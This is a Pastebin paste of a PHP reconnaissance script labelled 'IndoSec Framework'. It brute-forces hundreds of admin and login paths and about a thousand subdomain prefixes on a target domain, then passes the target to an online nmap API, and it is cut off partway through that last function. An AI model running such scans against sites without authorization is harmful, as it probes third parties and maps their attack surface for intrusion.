Guest User

a

a guest
Oct 18th, 2018
1,447
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 45.75 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. function adfind($domen){
  4. $array = array('admin.php','admin/','administrator/','login.php','administration/','admin1/','admin2/','admin3/','admin4/','admin5/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/','memberadmin/','administratorlogin/','adm/','account.asp','admin/account.asp','admin/index.asp','admin/login.asp','admin/admin.asp','/login.aspx','admin_area/admin.asp','admin_area/login.asp','admin/account.html','admin/index.html','admin/login.html','admin/admin.html','admin_area/admin.html','admin_area/login.html','admin_area/index.html','admin_area/index.asp','bb-admin/index.asp','bb-admin/login.asp','bb-admin/admin.asp','bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','administrator/index.html','administrator/login.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html','moderator.html','moderator/login.html','moderator/admin.html','account.html','controlpanel.html','admincontrol.html','admin_login.html','panel-administracion/login.html','admin/home.asp','admin/controlpanel.asp','admin.asp','pages/admin/admin-login.asp','admin/admin-login.asp','admin-login.asp','admin/cp.asp','cp.asp','administrator/account.asp','administrator.asp','acceso.asp','login.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','administrator/login.asp','moderator/admin.asp','controlpanel.asp','admin/account.html','adminpanel.html','webadmin.html','administration','pages/admin/admin-login.html','admin/admin-login.html','webadmin/index.html','webadmin/admin.html','webadmin/login.html','user.asp','user.html','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','adminarea/index.html','adminarea/admin.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admin/admin_login.html','admincontrol/login.html','adm/index.html','adm.html','admincontrol.asp','admin/account.asp','adminpanel.asp','webadmin.asp','webadmin/index.asp','webadmin/admin.asp','webadmin/login.asp','admin/admin_login.asp','admin_login.asp','panel-administracion/login.asp','adminLogin.asp','admin/adminLogin.asp','home.asp','admin.asp','adminarea/index.asp','adminarea/admin.asp','adminarea/login.asp','admin-login.html','panel-administracion/index.asp','panel-administracion/admin.asp','modelsearch/index.asp','modelsearch/admin.asp','administrator/index.asp','admincontrol/login.asp','adm/admloginuser.asp','admloginuser.asp','admin2.asp','admin2/login.asp','admin2/index.asp','adm/index.asp','adm.asp','affiliate.asp','adm_auth.asp','memberadmin.asp','administratorlogin.asp','siteadmin/login.asp','siteadmin/index.asp','siteadmin/login.html','memberadmin/','administratorlogin/','adm/','admin/account.php','admin/index.php','admin/login.php','admin/admin.php','admin/account.php','admin_area/admin.php','admin_area/login.php','siteadmin/login.php','siteadmin/index.php','siteadmin/login.html','admin/account.html','admin/index.html','admin/login.html','admin/admin.html','admin_area/index.php','bb-admin/index.php','bb-admin/login.php','bb-admin/admin.php','admin/home.php','admin_area/login.html','admin_area/index.html','admin/controlpanel.php','admin.php','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html','webadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','panel-administracion/login.html','admin/cp.php','cp.php','administrator/index.php','administrator/login.php','nsw/admin/login.php','webadmin/login.php','admin/admin_login.php','admin_login.php','administrator/account.php','administrator.php','admin_area/admin.html','pages/admin/admin-login.php','admin/admin-login.php','admin-login.php','bb-admin/index.html','bb-admin/login.html','acceso.php','bb-admin/admin.html','admin/home.html','login.php','modelsearch/login.php','moderator.php','moderator/login.php','moderator/admin.php','account.php','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.php','admincontrol.php','admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.php','adminarea/index.html','adminarea/admin.html','webadmin.php','webadmin/index.php','webadmin/admin.php','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.php','moderator.html','administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html','moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.php','account.html','controlpanel.html','admincontrol.html','panel-administracion/login.php','wp-login.php','adminLogin.php','admin/adminLogin.php','home.php','admin.php','adminarea/index.php','adminarea/admin.php','adminarea/login.php','panel-administracion/index.php','panel-administracion/admin.php','modelsearch/index.php','modelsearch/admin.php','admincontrol/login.php','adm/admloginuser.php','admloginuser.php','admin2.php','admin2/login.php','admin2/index.php','usuarios/login.php','adm/index.php','adm.php','affiliate.php','adm_auth.php','memberadmin.php','administratorlogin.php','adm/','admin/account.cfm','admin/index.cfm','admin/login.cfm','admin/admin.cfm','admin/account.cfm','admin_area/admin.cfm','admin_area/login.cfm','siteadmin/login.cfm','siteadmin/index.cfm','siteadmin/login.html','admin/account.html','admin/index.html','admin/login.html','admin/admin.html','admin_area/index.cfm','bb-admin/index.cfm','bb-admin/login.cfm','bb-admin/admin.cfm','admin/home.cfm','admin_area/login.html','admin_area/index.html','admin/controlpanel.cfm','admin.cfm','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html','webadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','panel-administracion/login.html','admin/cp.cfm','cp.cfm','administrator/index.cfm','administrator/login.cfm','nsw/admin/login.cfm','webadmin/login.cfm','admin/admin_login.cfm','admin_login.cfm','administrator/account.cfm','administrator.cfm','admin_area/admin.html','pages/admin/admin-login.cfm','admin/admin-login.cfm','admin-login.cfm','bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','login.cfm','modelsearch/login.cfm','moderator.cfm','moderator/login.cfm','moderator/admin.cfm','account.cfm','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.cfm','admincontrol.cfm','admin/adminLogin.html','acceso.cfm','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.cfm','adminarea/index.html','adminarea/admin.html','webadmin.cfm','webadmin/index.cfm','webadmin/admin.cfm','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.cfm','moderator.html','administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html','moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.cfm','account.html','controlpanel.html','admincontrol.html','panel-administracion/login.cfm','wp-login.cfm','adminLogin.cfm','admin/adminLogin.cfm','home.cfm','admin.cfm','adminarea/index.cfm','adminarea/admin.cfm','adminarea/login.cfm','panel-administracion/index.cfm','panel-administracion/admin.cfm','modelsearch/index.cfm','modelsearch/admin.cfm','admincontrol/login.cfm','adm/admloginuser.cfm','admloginuser.cfm','admin2.cfm','admin2/login.cfm','admin2/index.cfm','usuarios/login.cfm','adm/index.cfm','adm.cfm','affiliate.cfm','adm_auth.cfm','memberadmin.cfm','administratorlogin.cfm','adminLogin/','admin_area/','panel-administracion/','instadmin/','login.aspx','memberadmin/','administratorlogin/','adm/','admin/account.aspx','admin/index.aspx','admin/login.aspx','admin/admin.aspx','admin/account.aspx','admin_area/admin.aspx','admin_area/login.aspx','siteadmin/login.aspx','siteadmin/index.aspx','siteadmin/login.html','admin/account.html','admin/index.html','admin/login.html','admin/admin.html','admin_area/index.aspx','bb-admin/index.aspx','bb-admin/login.aspx','bb-admin/admin.aspx','admin/home.aspx','admin_area/login.html','admin_area/index.html','admin/controlpanel.aspx','admin.aspx','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html','webadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','panel-administracion/login.html','admin/cp.aspx','cp.aspx','administrator/index.aspx','administrator/login.aspx','nsw/admin/login.aspx','webadmin/login.aspx','admin/admin_login.aspx','admin_login.aspx','administrator/account.aspx','administrator.aspx','admin_area/admin.html','pages/admin/admin-login.aspx','admin/admin-login.aspx','admin-login.aspx','bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','login.aspx','modelsearch/login.aspx','moderator.aspx','moderator/login.aspx','moderator/admin.aspx','acceso.aspx','account.aspx','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.aspx','admincontrol.aspx','admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.aspx','adminarea/index.html','adminarea/admin.html','webadmin.aspx','webadmin/index.aspx','webadmin/admin.aspx','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.aspx','moderator.html','administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html','moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.aspx','account.html','controlpanel.html','admincontrol.html','panel-administracion/login.aspx','wp-login.aspx','adminLogin.aspx','admin/adminLogin.aspx','home.aspx','admin.aspx','adminarea/index.aspx','adminarea/admin.aspx','adminarea/login.aspx','panel-administracion/index.aspx','panel-administracion/admin.aspx','modelsearch/index.aspx','modelsearch/admin.aspx','admincontrol/login.aspx','adm/admloginuser.aspx','admloginuser.aspx','admin2.aspx','admin2/login.aspx','admin2/index.aspx','usuarios/login.aspx','adm/index.aspx','adm.aspx','affiliate.aspx','adm_auth.aspx','memberadmin.aspx','administratorlogin.aspx','memberadmin/','administratorlogin/','adm/','admin/account.js','admin/index.js','admin/login.js','admin/admin.js','admin/account.js','admin_area/admin.js','admin_area/login.js','siteadmin/login.js','siteadmin/index.js','siteadmin/login.html','admin/account.html','admin/index.html','admin/login.html','admin/admin.html','admin_area/index.js','bb-admin/index.js','bb-admin/login.js','bb-admin/admin.js','admin/home.js','admin_area/login.html','admin_area/index.html','admin/controlpanel.js','admin.js','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html','webadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','panel-administracion/login.html','admin/cp.js','cp.js','administrator/index.js','administrator/login.js','nsw/admin/login.js','webadmin/login.js','admin/admin_login.js','admin_login.js','administrator/account.js','administrator.js','admin_area/admin.html','pages/admin/admin-login.js','admin/admin-login.js','admin-login.js','bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','login.js','modelsearch/login.js','moderator.js','moderator/login.js','moderator/admin.js','account.js','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.js','admincontrol.js','admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.js','adminarea/index.html','adminarea/admin.html','webadmin.js','webadmin/index.js','acceso.js','webadmin/admin.js','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.js','moderator.html','administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html','moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.js','account.html','controlpanel.html','admincontrol.html','panel-administracion/login.js','wp-login.js','adminLogin.js','admin/adminLogin.js','home.js','admin.js','adminarea/index.js','adminarea/admin.js','adminarea/login.js','panel-administracion/index.js','panel-administracion/admin.js','modelsearch/index.js','modelsearch/admin.js','admincontrol/login.js','adm/admloginuser.js','admloginuser.js','admin2.js','admin2/login.js','admin2/index.js','usuarios/login.js','adm/index.js','adm.js','affiliate.js','adm_auth.js','memberadmin.js','administratorlogin.js','bb-admin/index.cgi','bb-admin/login.cgi','bb-admin/admin.cgi','admin/home.cgi','admin_area/login.html','admin_area/index.html','admin/controlpanel.cgi','admin.cgi','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html','webadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','panel-administracion/login.html','admin/cp.cgi','cp.cgi','administrator/index.cgi','administrator/login.cgi','nsw/admin/login.cgi','webadmin/login.cgi','admin/admin_login.cgi','admin_login.cgi','administrator/account.cgi','administrator.cgi','admin_area/admin.html','pages/admin/admin-login.cgi','admin/admin-login.cgi','admin-login.cgi','bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','login.cgi','modelsearch/login.cgi','moderator.cgi','moderator/login.cgi','moderator/admin.cgi','account.cgi','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.cgi','admincontrol.cgi','admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.cgi','adminarea/index.html','adminarea/admin.html','webadmin.cgi','webadmin/index.cgi','acceso.cgi','webadmin/admin.cgi','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.cgi','moderator.html','administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html','moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.cgi','account.html','controlpanel.html','admincontrol.html','panel-administracion/login.cgi','wp-login.cgi','adminLogin.cgi','admin/adminLogin.cgi','home.cgi','admin.cgi','adminarea/index.cgi','adminarea/admin.cgi','adminarea/login.cgi','panel-administracion/index.cgi','panel-administracion/admin.cgi','modelsearch/index.cgi','modelsearch/admin.cgi','admincontrol/login.cgi','adm/admloginuser.cgi','admloginuser.cgi','admin2.cgi','admin2/login.cgi','admin2/index.cgi','usuarios/login.cgi','adm/index.cgi','adm.cgi','affiliate.cgi','adm_auth.cgi','memberadmin.cgi','administratorlogin.cgi','admin_area/admin.brf','admin_area/login.brf','siteadmin/login.brf','siteadmin/index.brf','siteadmin/login.html','admin/account.html','admin/index.html','admin/login.html','admin/admin.html','admin_area/index.brf','bb-admin/index.brf','bb-admin/login.brf','bb-admin/admin.brf','admin/home.brf','admin_area/login.html','admin_area/index.html','admin/controlpanel.brf','admin.brf','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html','webadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','panel-administracion/login.html','admin/cp.brf','cp.brf','administrator/index.brf','administrator/login.brf','nsw/admin/login.brf','webadmin/login.brfbrf','admin/admin_login.brf','admin_login.brf','administrator/account.brf','administrator.brf','acceso.brf','admin_area/admin.html','pages/admin/admin-login.brf','admin/admin-login.brf','admin-login.brf','bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','login.brf','modelsearch/login.brf','moderator.brf','moderator/login.brf','moderator/admin.brf','account.brf','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.brf','admincontrol.brf','admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.brf','adminarea/index.html','adminarea/admin.html','webadmin.brf','webadmin/index.brf','webadmin/admin.brf','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.brf','moderator.html','administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html','moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.brf','account.html','controlpanel.html','admincontrol.html','panel-administracion/login.brf','wp-login.brf','adminLogin.brf','admin/adminLogin.brf','home.brf','admin.brf','adminarea/index.brf','adminarea/admin.brf','adminarea/login.brf','panel-administracion/index.brf','panel-administracion/admin.brf','modelsearch/index.brf','modelsearch/admin.brf','admincontrol/login.brf','adm/admloginuser.brf','admloginuser.brf','admin2.brf','admin2/login.brf','admin2/index.brf','usuarios/login.brf','adm/index.brf','adm.brf','affiliate.brf','adm_auth.brf','memberadmin.brf','administratorlogin.brf','cpanel','cpanel.php','cpanel.html' ,'operator/', 'sika/', 'develop/', 'ketua/', 'redaktur/', 'admin/', 'administrator/', 'adminweb/', 'user/', 'users/', 'dinkesadmin/', 'retel/', 'author/', 'panel/', 'paneladmin/', 'panellogin/', 'redaksi/', 'cp-admin/', 'master/', 'master/index.php', 'master/login.php', 'operator/index.php', 'sika/index.php', 'develop/index.php', 'ketua/index.php', 'redaktur/index.php', 'admin/index.php', 'administrator/index.php', 'adminweb/index.php', 'user/index.php', 'users/index.php', 'dinkesadmin/index.php', 'retel/index.php', 'author/index.php', 'panel/index.php', 'paneladmin/index.php', 'panellogin/index.php', 'redaksi/index.php', 'cp-admin/index.php', 'operator/login.php', 'sika/login.php', 'develop/login.php', 'ketua/login.php', 'redaktur/login.php', 'admin/login.php', 'administrator/login.php', 'adminweb/login.php', 'user/login.php', 'users/login.php', 'dinkesadmin/login.php', 'retel/login.php', 'author/login.php', 'panel/login.php', 'paneladmin/login.php', 'panellogin/login.php', 'redaksi/login.php', 'cp-admin/login.php', 'terasadmin/', 'terasadmin/index.php', 'terasadmin/login.php', 'rahasia/', 'rahasia/index.php', 'rahasia/admin.php', 'rahasia/login.php', 'dinkesadmin/', 'dinkesadmin/login.php', 'adminpmb/', 'adminpmb/index.php', 'adminpmb/login.php', 'system/', 'system/index.php', 'system/login.php', 'webadmin/', 'webadmin/index.php', 'webadmin/login.php', 'wpanel/', 'wpanel/index.php', 'wpanel/login.php', 'adminpanel/index.php', 'adminpanel/', 'adminpanel/login.php', 'adminkec/', 'adminkec/index.php', 'adminkec/login.php', 'admindesa/', 'admindesa/index.php', 'admindesa/login.php', 'adminkota/', 'adminkota/index.php', 'adminkota/login.php', 'admin123/', 'admin123/index.php', 'admin123/login.php', 'logout/', 'logout/index.php', 'logout/login.php', 'logout/admin.php', 'sistem/', 'webpanel/', 'w3bc0ntr0l/', 'apanel/', 'sysadmin/'
  5. );
  6.  
  7. $file = 'result.txt';
  8. touch($file);
  9.  
  10. $isi = "
  11. ==============>{ IndoSec Framework }<================\n\n
  12. = Result Info : \n
  13. = Waktu : ".date('d-m-Y H:i:s')." \n
  14. = Domain : ".$domen." \n
  15. = Tools : Admin Finder
  16. ======================================================
  17. ";
  18.  
  19. $open = fopen($file, 'a');
  20. fwrite($open, $isi);
  21. fclose($open);
  22.  
  23.  
  24.  
  25. echo "\n\n [+] Berhasil Membuat File => result.txt\n\n";
  26.  
  27. foreach ($array as $key) {
  28. $domens = $domen.'/'.$key;
  29. $a = get_headers($domens);
  30. if (preg_match('/200/', $a[0])) {
  31. echo "\n[+] Found => $domens \n\n";
  32. $dapat = "
  33. \n[+] Found => $domens \n\n
  34. ";
  35. $open = fopen($file, 'a');
  36. fwrite($open, $dapat);
  37. fclose($open);
  38.  
  39. }else{
  40. echo "[-] Not Found => $domens \n";
  41. }
  42. }
  43.  
  44. // fclose($open);
  45. echo "\n\n [+] Berhasil Menyimpan Result Ke => ".$domen.'-result.txt';
  46. }
  47. function subdo($domen)
  48. {
  49. $array = array("simpatik.","ereg.","e-bphtb.","www.","mail.","ftp.","localhost.","webmail.","smtp.","pop.","ns1.","webdisk.","ns2.","cpanel.","whm.","autodiscover.","autoconfig.","m.","imap.","test.","ns.","blog.","pop3.","dev.","www2.","admin.","forum.","news.","vpn.","ns3.","mail2.","new.","mysql.","old.","lists.","support.","mobile.","mx.","static.","docs.","beta.","shop.","sql.","secure.","demo.","cp.","calendar.","wiki.","web.","media.","email.","images.","img.","www1.","intranet.","portal.","video.","sip.","dns2.","api.","cdn.","stats.","dns1.","ns4.","www3.","dns.","search.","staging.","server.","mx1.","chat.","wap.","my.","svn.","mail1.","sites.","proxy.","ads.","host.","crm.","cms.","backup.","mx2.","lyncdiscover.","info.","apps.","download.","remote.","db.","forums.","store.","relay.","files.","newsletter.","app.","live.","owa.","en.","start.","sms.","office.","exchange.","ipv4.","mail3.","help.","blogs.","helpdesk.","web1.","home.","library.","ftp2.","ntp.","monitor.","login.","service.","correo.","www4.","moodle.","it.","gateway.","gw.","i.","stat.","stage.","ldap.","tv.","ssl.","web2.","ns5.","upload.","nagios.","smtp2.","online.","ad.","survey.","data.","radio.","extranet.","test2.","mssql.","dns3.","jobs.","services.","panel.","irc.","hosting.","cloud.","de.","gmail.","s.","bbs.","cs.","ww.","mrtg.","git.","image.","members.","poczta.","s1.","meet.","preview.","fr.","cloudflare.","dev2.","photo.","jabber.","legacy.","go.","es.","ssh.","redmine.","partner.","vps.","server1.","sv.","ns6.","webmail2.","av.","community.","cacti.","time.","sftp.","lib.","facebook.","www5.","smtp1.","feeds.","w.","games.","ts.","alumni.","dl.","s2.","phpmyadmin.","archive.","cn.","tools.","stream.","projects.","elearning.","im.","iphone.","control.","voip.","test1.","ws.","rss.","sp.","wwww.","vpn2.","jira.","list.","connect.","gallery.","billing.","mailer.","update.","pda.","game.","ns0.","testing.","sandbox.","job.","events.","dialin.","ml.","fb.","videos.","music.","a.","partners.","mailhost.","downloads.","reports.","ca.","router.","speedtest.","local.","training.","edu.","bugs.","manage.","s3.","status.","host2.","ww2.","marketing.","conference.","content.","network.","broadcast.","ip","english.","catalog.","msoid.","mailadmin.","pay.","access.","streaming.","project.","t.","sso.","alpha.","photos.","staff.","e.","auth.","v2.","web5.","web3.","mail4.","devel.","post.","us.","images2.","master.","rt.","ftp1.","qa.","wp.","dns4.","www6.","ru.","student.","w3.","citrix.","trac.","doc.","img2.","css.","mx3.","adm.","web4.","hr.","mailserver.","travel.","sharepoint.","sport.","member.","bb.","agenda.","link.","server2.","vod.","uk.","fw.","promo.","vip.","noc.","design.","temp.","gate.","ns7.","file.","ms.","map.","cache.","painel.","js.","event.","mailing.","db1.","c.","auto.","img1.","vpn1.","business.","mirror.","share.","cdn2.","site.","maps.","tickets.","tracker.","domains.","club.","images1.","zimbra.","cvs.","b2b.","oa.","intra.","zabbix.","ns8.","assets.","main.","spam.","lms.","social.","faq.","feedback.","loopback.","groups.","m2.","cas.","loghost.","xml.","nl.","research.","art.","munin.","dev1.","gis.","sales.","images3.","report.","google.","idp.","cisco.","careers.","seo.","dc.","lab.","d.","firewall.","fs.","eng.","ann.","mail01.","mantis.","v.","affiliates.","webconf.","track.","ticket.","pm.","db2.","b.","clients.","tech.","erp.","monitoring.","cdn1.","images4.","payment.","origin.","client.","foto.","domain.","pt.","pma.","directory.","cc.","public.","finance.","ns11.","test3.","wordpress.","corp.","sslvpn.","cal.","mailman.","book.","ip.","zeus.","ns10.","hermes.","storage.","free.","static1.","pbx.","banner.","mobil.","kb.","mail5.","direct.","ipfixe.","wifi.","development.","board.","ns01.","st.","reviews.","radius.","pro.","atlas.","links.","in.","oldmail.","register.","s4.","images6.","static2.","id.","shopping.","drupal.","analytics.","m1.","images5.","images7.","img3.","mx01.","www7.","redirect.","sitebuilder.","smtp3.","adserver.","net.","user.","forms.","outlook.","press.","vc.","health.","work.","mb.","mm.","f.","pgsql.","jp.","sports.","preprod.","g.","p.","mdm.","ar.","lync.","market.","dbadmin.","barracuda.","affiliate.","mars.","users.","images8.","biblioteca.","mc.","ns12.","math.","ntp1.","web01.","software.","pr.","jupiter.","labs.","linux.","sc.","love.","fax.","php.","lp.","tracking.","thumbs.","up.","tw.","campus.","reg.","digital.","demo2.","da.","tr.","otrs.","web6.","ns02.","mailgw.","education.","order.","piwik.","banners.","rs.","se.","venus.","internal.","webservices.","cm.","whois.","sync.","lb.","is.","code.","click.","w2.","bugzilla.","virtual.","origin.","top.","customer.","pub.","hotel.","openx.","log.","uat.","cdn3.","images0.","cgi.","posta.","reseller.","soft.","movie.","mba.","n.","r.","developer.","nms.","ns9.","webcam.","construtor.","ebook.","ftp3.","join.","dashboard.","bi.","wpad.","admin2.","agent.","wm.","books.","joomla.","hotels.","ezproxy.","ds.","sa.","katalog.","team.","emkt.","antispam.","adv.","mercury.","flash.","myadmin.","sklep.","newsite.","law.","pl.","ntp2.","x.","srv1.","mp3.","archives.","proxy2.","ps.","pic.","ir.","orion.","srv.","mt.","ocs.","server3.","meeting.","v1.","delta.","titan.","manager.","subscribe.","develop.","wsus.","oascentral.","mobi.","people.","galleries.","wwwtest.","backoffice.","sg.","repo.","soporte.","www8.","eu.","ead.","students.","hq.","awstats.","ec.","security.","school.","corporate.","podcast.","vote.","conf.","magento.","mx4.","webservice.","tour.","s5.","power.","correio.","mon.","mobilemail.","weather.","international.","prod.","account.","xx.","pages.","pgadmin.","bfn2.","webserver.","www.","maintenance.","me.","magazine.","syslog.","int.","view.","enews.","ci.","au.","mis.","dev3.","pdf.","mailgate.","v3.","ss.","internet.","host1.","smtp01.","journal.","wireless.","opac.","w1.","signup.","database.","demo1.","br.","android.","career.","listserv.","bt.","spb.","cam.","contacts.","webtest.","resources.","1.","life.","mail6.","transfer.","app1.","confluence.","controlpanel.","secure2.","puppet.","classifieds.","tunet.","edge.","biz.","host3.","red.","newmail.","mx02.","sb.","physics.","ap.","epaper.","sts.","proxy1.","ww1.","stg.","sd.","science.","star.","www9.","phoenix.","pluto.","webdav.","booking.","eshop.","edit.","panelstats.","xmpp.","food.","cert.","adfs.","mail02.","cat.","edm.","vcenter.","mysql2.","sun.","phone.","surveys.","smart.","system.","twitter.","updates.","webmail1.","logs.","sitedefender.","as.","cbf1.","sugar.","contact.","vm.","ipad.","traffic.","dm.","saturn.","bo.","network.","ac.","ns13.","webdev.","libguides.","asp.","tm.","core.","mms.","abc.","scripts.","fm.","sm.","test4.","nas.","newsletters.","rsc.","cluster.","learn.","panelstatsmail.","lb1.","usa.","apollo.","pre.","terminal.","l.","tc.","movies.","sh.","fms.","dms.","z.","base.","jwc.","gs.","kvm.","bfn1.","card.","web02.","lg.","editor.","metrics.","feed.","repository.","asterisk.","sns.","global.","counter.","ch.","sistemas.","pc.","china.","u.","payments.","ma.","pics.","www10.","e.","auction.","hub.","sf.","cbf8.","forum2.","ns14.","app2.","passport.","hd.","talk.","ex.","debian.","ct.","rc.","2012.","imap4.","blog2.","ce.","sk.","relay2.","green.","print.","geo.","multimedia.","iptv.","backup2.","webapps.","audio.","ro.","smtp4.","pg.","ldap2.","backend.","profile.","oldwww.","drive.","bill.","listas.","orders.","win.","mag.","apply.","bounce.","mta.","hp.","suporte.","dir.","pa.","sys.","mx0.","ems.","antivirus.","web8.","inside.","play.","nic.","welcome.","premium.","exam.","sub.","cz.","omega.","boutique.","pp.","management.","planet.","ww3.","orange.","c1.","zzb.","form.","ecommerce.","tmp.","plus.","openvpn.","fw1.","hk.","owncloud.","history.","clientes.","srv2.","img4.","open.","registration.","mp.","blackboard.","fc.","static3.","server4.","s6.","ecard.","dspace.","dns01.","md.","mcp.","ares.","spf.","kms.","intranet2.","accounts.","webapp.","ask.","rd.","www.","gw2.","mall.","bg.","teste.","ldap1.","real.","m3.","wave.","movil.","portal2.","kids.","gw1.","ra.","tienda.","private.","po.","2013.","cdn4.","gps.","km.","ent.","tt.","ns21.","at.","athena.","cbf2.","webmail3.","mob.","matrix.","ns15.","send.","lb2.","pos.","2.","cl.","renew.","admissions.","am.","beta2.","gamma.","mx5.","portfolio.","contest.","box.","mg.","wwwold.","neptune.","mac.","pms.","traveler.","media2.","studio.","sw.","imp.","bs.","alfa.","cbf4.","servicedesk.","wmail.","video2.","switch.","sam.","sky.","ee.","widget.","reklama.","msn.","paris.","tms.","th.","vega.","trade.","intern.","ext.","oldsite.","learning.","group.","f1.","ns22.","ns20.","demo3.","bm.","dom.","pe.","annuaire.","portail.","graphics.","iris.","one.","robot.","ams.","s7.","foro.","gaia.","vpn3.");
  50.  
  51.  
  52.  
  53. $file = $domen.'-result.txt';
  54. $isi = "
  55. ==============>{ IndoSec Framework }<================\n\n
  56. = Result Info : \n
  57. = Waktu : ".date('d-m-Y H:i:s')." \n
  58. = Domain : ".$domen." \n
  59. = Tools : Subdomain Brute Force
  60. ======================================================
  61. ";
  62.  
  63. $open = fopen($file, 'a');
  64. fwrite($open, $isi);
  65. fclose($open);
  66.  
  67. touch($file);
  68.  
  69. echo "\n\n [+] Berhasil Membuat File => ".$file."\n\n";
  70.  
  71. foreach ($array as $key) {
  72. $domens = 'http://'.$key.$domen;
  73. $a = get_headers($domens.'/index.php');
  74. if (preg_match('/200/', $a[0])) {
  75. echo "\n[+] Found => $domens \n\n";
  76. $dapat = "
  77. \n[+] Found => $domens \n\n
  78. ";
  79. $open = fopen($file, 'a');
  80. fwrite($open, $dapat);
  81. fclose($open);
  82.  
  83. }elseif (preg_match('/403/', $a[0])) {
  84. echo "\n[+] Forbidden => $domens \n\n";
  85. }else{
  86. echo "[-] Not Found => $domens \n";
  87. }
  88. }
  89. }
  90. function nmap($input)
  91. {
  92. echo "\nLoading... \n============================= Result ============================= \n";
  93. $ch = curl_init();
  94. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  95. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  96. curl_setopt($ch, CURLOPT_URL,'https://api.hackertarget.com/nmap/?q='.$input);
  97. $result=curl_exec($ch);
  98. curl_close($ch);
  99.  
  100. $file = $input.'-result.txt';
  101. $isi = "
  102. ==============>{ IndoSec Framework }<================\n\n
  103. = Result Info : \n
  104. = Waktu : ".date('d-m-Y H:i:s')." \n
  105. = Domain : ".$domen." \n
  106. = Tools : Nmap
  107. ======================================================
  108. ".$result." ";
  109.  
  110. $open = fopen($file, 'a');
  111. fwrite($open, $isi);
  112. fclose($open);
  113.  
  114. touch($file);
  115. print $result;
